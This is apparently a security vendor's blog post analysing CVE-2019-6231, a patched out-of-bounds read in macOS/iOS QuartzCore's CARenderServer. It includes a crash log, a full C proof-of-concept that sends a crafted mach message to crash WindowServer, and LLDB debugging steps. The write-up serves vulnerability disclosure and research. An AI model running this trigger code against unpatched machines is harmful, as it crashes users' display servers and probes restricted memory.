Threat Research

Detailed Analysis of macOS/iOS Vulnerability CVE-2019-6231

By Kai Lu | January 24, 2019

FortiGuard Labs Threat Analysis    

 

The QuartzCore Out-of-Bounds Read Vulnerability in CA::Render::Decoder::decode_colorspace

On Jan 22, 2019, Apple released macOS Mojave 10.14.3 and iOS 12.1.3. These two updates fixed a number of security vulnerabilities, including CVE-2019-6231 found in QuartzCore (aka. CoreAnimation). (For more details on the Apple updates, please refer to: https://support.apple.com/en-us/HT209446 and https://support.apple.com/en-us/HT209443.)

I found this issue in macOS Mojave 10.14.2 on Dec 14, 2018 and reported it to Apple on Dec 21, 2018. However, Apple responded that said this issue had been fixed in the macOS Mojave 10.14.3 beta that was released on Dec 19, 2018. In this blog I will provide a detailed analysis of this issue on macOS.

Update: I corrected some inaccurate descriptions regarding the root cause of this issue and add the comparation to this vulnerability between before patch and after patch.

A Quick Look

QuartzCore, also known as CoreAnimation, is a framework used by macOS and iOS to create animatable scene graphics. CoreAnimation uses a unique rendering model where the graphics operations are run in a separate process. On macOS, the process is WindowServer. On iOS, the process is backboard.

The service named com.apple.CARenderServer in QuartzCore is usually referenced as CARenderServer. This service exists in both macOS and iOS, and can be accessed from the Safari Sandbox. It lacked an bounds checking in the function CAGetColorSpace when the service com.apple.CARenderServer decoded the color space data. This could allow a malicious application to be able to read restricted memory.

The following is the crash log of the process WindowServer when this issue is triggered.

Process:               WindowServer [57329]

Path:                  /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer

Identifier:            WindowServer

Version:               600.00 (337.5)

Code Type:             X86-64 (Native)

Parent Process:        launchd [1]

Responsible:           WindowServer [57329]

User ID:               88

 

Date/Time:             2018-12-14 16:51:08.093 -0800

OS Version:            Mac OS X 10.14.2 (18C54)

Report Version:        12

Anonymous UUID:        0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B

 

Sleep/Wake UUID:       7F5E9869-8B81-4B2F-8BBC-54048DE83A26

 

Time Awake Since Boot: 15000 seconds

Time Since Wake:       7000 seconds

 

System Integrity Protection: disabled

 

Crashed Thread:        2  com.apple.coreanimation.render-server

 

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)

Exception Codes:       KERN_INVALID_ADDRESS at 0x0000008000000018

Exception Note:        EXC_CORPSE_NOTIFY

 

Termination Signal:    Segmentation fault: 11

Termination Reason:    Namespace SIGNAL, Code 0xb

Terminating Process:   exc handler [57329]

 

External Modification Warnings:

Thread creation by external task.

Debugger attached to process.

 

VM Regions Near 0x8000000018:

    CoreAnimation          00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV 

-->

    STACK GUARD            0000700009f5e000-0000700009f5f000 [    4K] ---/rwx SM=NUL  stack guard for thread 6

 

Application Specific Information:

StartTime:2018-12-14 16:28:00

GPU:IG

MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)

IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0

 

Thread 0:: Dispatch queue: com.apple.main-thread

0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10

1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60

2   com.apple.SkyLight              0x00007fff6f2c95fc run_one_server_pass + 337

3   com.apple.SkyLight              0x00007fff6f2c9436 CGXRunOneServicesPass + 460

4   com.apple.SkyLight              0x00007fff6f2ca0bc server_loop + 96

5   com.apple.SkyLight              0x00007fff6f2ca055 SLXServer + 1149

6   WindowServer                        0x000000010d30e4d0 0x10d30d000 + 5328

7   libdyld.dylib                           0x00007fff761bded9 start + 1

 

Thread 1:

0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10

1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60

2   com.apple.CoreDisplay                          0x00007fff48f09851 0x7fff48e57000 + 731217

3   com.apple.CoreDisplay                          0x00007fff48f099af 0x7fff48e57000 + 731567

4   libsystem_pthread.dylib                         0x00007fff763b1305 _pthread_body + 126

5   libsystem_pthread.dylib                         0x00007fff763b426f _pthread_start + 70

6   libsystem_pthread.dylib                         0x00007fff763b0415 thread_start + 13

 

Thread 2 Crashed:: com.apple.coreanimation.render-server

0   com.apple.CoreFoundation                   0x00007fff48f45575 CFRetain + 15

1   com.apple.QuartzCore                           0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87

2   com.apple.QuartzCore                           0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50

3   com.apple.QuartzCore                           0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104

4   com.apple.QuartzCore                           0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075

5   com.apple.QuartzCore                           0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131

6   com.apple.QuartzCore                           0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116

7   com.apple.QuartzCore                           0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199

8   com.apple.QuartzCore                           0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329

9   com.apple.QuartzCore                           0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748

10  com.apple.QuartzCore                          0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968

11  com.apple.QuartzCore                          0x00007fff53f8fb92 thread_fun(void*) + 25

12  libsystem_pthread.dylib                        0x00007fff763b1305 _pthread_body + 126

13  libsystem_pthread.dylib                        0x00007fff763b426f _pthread_start + 70

14  libsystem_pthread.dylib                        0x00007fff763b0415 thread_start + 13

 

Thread 3:…….

[truncated]

As can be seen, the crash occured in the thread “com.apple.coreanimation.render-server”. The mach service “com.apple.CARenderServer” is implemented in /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore.  In the function CA::Render::Server::register_name(CA::Render::Server *this, const char *a2) , it is able to register the service “com.apple.CARenderServer”.

Figure 1. The function CA::Render::Server::register_name

The server thread is implemented in the function CA::Render::Server::server_thread. It’s used to receive the mach messages from clients and then handle these messages. When the thread received a mach message with msgh_id 40002 or 40003, this could invoke the function CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage *this) to handle the command stream. 

Figure 2. The function CA::Render::Server::server_thread

This vulnerability exists right in the process of handling the command stream in the function CA::Render::Server::ReceivedMessage::run_command_stream

Proof of Concept

In this next section I will demonstrate a PoC to trigger this issue. The PoC is shown below.

#include <stdio.h>

#include <mach/i386/kern_return.h>

#include <mach/mach_traps.h>

#include <servers/bootstrap.h>

#include <dirent.h>

#include <sys/stat.h>

#include <time.h>

#include <dlfcn.h>

#include <unistd.h>

 

 

 

typedef struct quartz_register_client_s quartz_register_client_t;

struct quartz_register_client_s {

    mach_msg_header_t header;

    uint32_t body;

    mach_msg_port_descriptor_t ports[4];

    char padding[12];

};

 

 

typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;

struct quartzcore_mach_msg{

    mach_msg_header_t header;

    char msg_body[712];

};

 

uint64_t get_filesize(const char *fn){

    struct stat st;

    stat(fn, &st);

    uint64_t fsize = st.st_size;

    return fsize;

};

 

int main(int argc, const char * argv[]) {

   

    mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;

    task_get_bootstrap_port(mach_task_self(), &bs_port);

    const char *render_service_name = "com.apple.CARenderServer";

    kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");

    kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);

   

    if (kr != KERN_SUCCESS) {

        return -1;

    }

   

    printf("[*] Get service of %s successully!\n", render_service_name);

   

    quartz_register_client_t msg_register;

    memset(&msg_register, 0, sizeof(msg_register));

    msg_register.header.msgh_bits =

    MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |

    MACH_MSGH_BITS_COMPLEX;

    msg_register.header.msgh_remote_port = p;

    msg_register.header.msgh_local_port = mig_get_reply_port();

    msg_register.header.msgh_id = 40202;  // _XRegisterClient

   

    msg_register.body = 4;

    msg_register.ports[0].name = mach_task_self();

    msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[1].name = mach_task_self();

    msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[2].name = mach_task_self();

    msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[3].name = mach_task_self();

    msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;

    

    kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,

                  sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),

                  msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    if (kr != KERN_SUCCESS) {

        return -1 ;

    }

   

    mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);

    uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);

   

    printf("[*] context_port: 0x%x, conn_id: 0x%x\n",context_port,conn_id);

   

    char *crash_log = "crash.data"; //size is 736.

   

    FILE *fp = fopen(crash_log, "rb");

    if(fp == NULL){

        printf("fopen error!\n");

    }

   

    uint64_t fsize = get_filesize(crash_log);

    void *msg_buf = malloc(fsize);

    memset(msg_buf, 0, fsize);

    fread(msg_buf, fsize, 1, fp);

   

    quartzcore_mach_msg_t qc_mach_msg = {0};

    qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;

    qc_mach_msg.header.msgh_remote_port = context_port;

    qc_mach_msg.header.msgh_id = 40002;

   

    memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));

    *(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1;  // Ports count

    memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);

    *(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;

   

    kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    if (kr != KERN_SUCCESS) {

        printf("[-] Send message failed: 0x%d\n", kr);

        return -1 ;

    }

    return 0;

}

The comparation between the original mach message and the crafted mach message is shown below.

Figure 3. The comparation between the original mach message and the crafted mach message

Through binary diff, we only need to modify one byte at offset 0x142 from 0x00 to 0x80 in order to trigger this vulnerability.

As shown in the PoC’s C code, in order to send a crafted mach message to trigger this issue, we first need to send a mach message with msgh_id 40202 (the corresponding handler in the server is _XRegisterClient) to retrieve the connection id for every new connected client.

Once we obtain the value of the connection id, we set this value to the corresponding offset(0x2C) in a crafted mach message. Finally, we send this message to trigger the vulnerability.

Analysis and Root of Cause

 

In this section, I will dynamically debug this vulnerability with LLDB and figure out the root cause. Note that you need to debug the WindowServer process via SSH mode.

Based on the stack backtrace of the crashed thread from the crash log, we could set a conditional breakpoint at the function CA::Render::Server::ReceivedMessage::run_command_stream using the following commands.

br s -n CA::Render::Server::ReceivedMessage::run_command_stream

br mod  -c '*(int*)($r13+0x2c) == [conn_id]'

The value of conn_id can be obtained through setting a breakpoint at line 112 in the PoC’s C code.

After this breakpoint is hit, we can read the buffer data of the crafted mach message I sent. The register r13 points to the crafted mach message.

(lldb) c

Process 172 resuming

Process 172 stopped

* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1

    frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()

QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:

->  0x7fff3fca6824 <+0>: pushq  %rbp

    0x7fff3fca6825 <+1>: movq   %rsp, %rbp

    0x7fff3fca6828 <+4>: pushq  %r15

    0x7fff3fca682a <+6>: pushq  %r14

Target 0: (WindowServer) stopped.

(lldb) re read

General Purpose Registers:

       rax = 0x0000000000000000

       rbx = 0x0000000000009c42

       rcx = 0x0000000000000002

       rdx = 0x000000000000c203

       rdi = 0x000070000cc52ca0

       rsi = 0x000000000000c203

       rbp = 0x000070000cc52ef0

       rsp = 0x000070000cc51c78

        r8 = 0x000000000001450b

        r9 = 0x0000000000000000

       r10 = 0x0000000000001000

       r11 = 0x0000000000000202

       r12 = 0x0000000000000000

       r13 = 0x000070000cc51ca0

       r14 = 0x00007fff8ece4b20  QuartzCore`CA::Render::Server::_callback_lock

       r15 = 0x00007fd93f2f5300

       rip = 0x00007fff3fca6824  QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()

    rflags = 0x0000000000000293

        cs = 0x000000000000002b

        fs = 0x0000000000000000

        gs = 0x0000000000000000

 

(lldb) x -c 0x2e0 0x000070000cc51ca0

0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00  ....?......./?..

0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00  ....B...........

0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60  ..............5`

0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00  ;?'Y.?w@.?......

0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01  .?....0.......?.

0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c  ...@?0.....?....

0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00  ..?...??.,?.....

0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20  .?.....h.@.....

0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |@..............

0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20  ...............

0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02  ..?0.....?.....

0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00  .?...??.,?......

0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22  ?.....@F@......"

0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  @...............

0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32  ......@V@......2

0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00  @?`.!.....?.....

0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00  ...?...$........

0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00  ....??. .....?..

0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00  .-9..m..........

0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00  ........?.......

0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80  ....?...?...?...

0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02  ?............ ..

0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00  ??0.....?.......

0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff  ...............?

0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00  ...??.,?......?.

0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00  ....d.@......w@.

0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00  ....@V@......2@.

0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80  ............ ...

0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00  ?0.....?........

0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00  ..............?.

0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00  ..??.,?......?..

0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1  ........... ...?

0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00  ......?.........

0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01  .............?..

0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00  .??.,?......?...

0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00  .......... .....

(lldb)

The function CA::Render::Decoder::decode_object(CA::Render::Decoder *this, CA::Render::Decoder *a2) is used to decode all kinds of object data. The buffer data starting at offset 0x70000cc51d6e is a Layer object (marked in green).

Figure 4. The crafted mach message received by server thread

The following code branch is used to parse the Layer object data. 

Figure 5. The code branch to handle the Layer object data

Let’s take a look at how this Layer object is handled. The following list explains what each field in the Layer object means.

Figure 6. Each field in the Layer object

The implementation of the function CA::Render::Layer::Layer(CA::Render::Layer *this, CA::Render::Decoder *a2) is shown below.

Figure 7. The function CA::Render::Layer::Layer

We can see that the next data still represents an object. Next, let’s continue to trace how the next data is handled.

Figure 8. The function CA::Render::Decoder::decode_object

As shown in Figure 8, the next data still represents an object. The first byte in this object indicates the type of object. The byte 0x16 indicates that this object is an Image object, as follows.

Figure 9. The branch code to decode Image object

Next, let’s look at how the function CA::Render::Image::decode() decodes an Image object.

Figure 10. The function CA::Render::Image::decode

The following list explains what each field in the Image object means.

Figure 11. Each field in the Image object

We can see that the 8 bytes (00 03 00 00 00 00 00 80) of data is decoded as the size_t type, and its value is set with an abnormal one.

Figure 12. The abnormal value in the mach message

In Figure 10, the variable v9 is equal to 0x8000000000000300, which is passed as an argument to the function CA::Render::validate_rowbytes.

Now let’s take a closer look at how the function CA::Render::validate_rowbytes handles this value.

Figure 13. The function CA::Render::validate_rowbytes

It’s easy to confirm that the arithmetic operation a2 * *(_QWORD *)(a3 + 8LL * v4) occurs an overflow. At that point, the variable a2 is equal to 0x24 and can be obtained by invoking CA::Render::Decoder::decode_int32(), as shown in Figure 11. So the value of variable v6 is equal to 0 due to an integer overflow. This function could then return 0, causing the change in the next program execution flow. Normally, it should return 1.  Let’s go back to Figure 10 to look at the change of execution flow.

Because the function CA::Render::validate_rowbytes returns 0 due to an integer overflow, it could later go to LABEL_31. It could then invoke the function CA::Render::Texture::decode() to decode the next buffer data. The following is the implementation of the function CA::Render::Texture::decode.

Figure 14. The function CA::Render::Texture::decode

It could  then invoke the function CA::Render::Decoder::decode_colorspace to decode the color space data.

Figure 15. The function CA::Render::Decoder::decode_colorspace

Let’s take a closer look at this function. It first decodes an integer with int8 type. The result is 0x01. It could then execute the case 1 branch. The value of variable v3 is equal to 0xFE. And the variable v3 is passed as the first argument to the function CAGetColorSpace. The function CAGetColorSpace is used to obtain the color space data from the array colorspaces. Actually, the variable v3 is the index value of this array

Figure 16. The function CAGetColorSpace

The index value is equal to 0xfe, which is actually larger than the maximum index of the array colorspaces, enabling the restricted memory data to be read.

Figure 17. The array colorspaces

The address of restricted memory to be read is equal to 0x291EE0(0x2916F0+0xFE*8).

Figure 18. The address of restricted memory

So the returned value of the function CAGetColorSpace is equal to 0x8000000010. Obviously, this is an invalid memory address. When this address is passed as an argument to the function CFRetain, it can cause an EXC_BAD_ACCESS exception. The root cause of this issue is that it lacked an restricted bounds checking in the function CAGetColorSpace. Next, let’s look at how Apple fixed this issue.

Figure 19. The comparison between before patch and after patch

Conclusion

We have now finished the detailed analysis of this vulnerability. While this vulnerability affects both macOS and iOS, in this blog, I only demonstrated and analyzed it in macOS.

Affected Versions

macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2

iPhone 5s and later, iPad Air and later, and iPod touch 6th generation

Reference

https://support.apple.com/en-us/HT209446

https://support.apple.com/en-us/HT209443

https://ssd-disclosure.com/index.php/archives/3796

 

Learn more about FortiGuard Labs and the FortiGuard Security Services portfolioSign up for our weekly FortiGuard Threat Brief. 

Know your vulnerabilities – get the facts about your network security. A Fortinet Cyber Threat Assessment can help you better understand: Security and Threat Prevention, User Productivity, and Network Utilization and Performance.

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.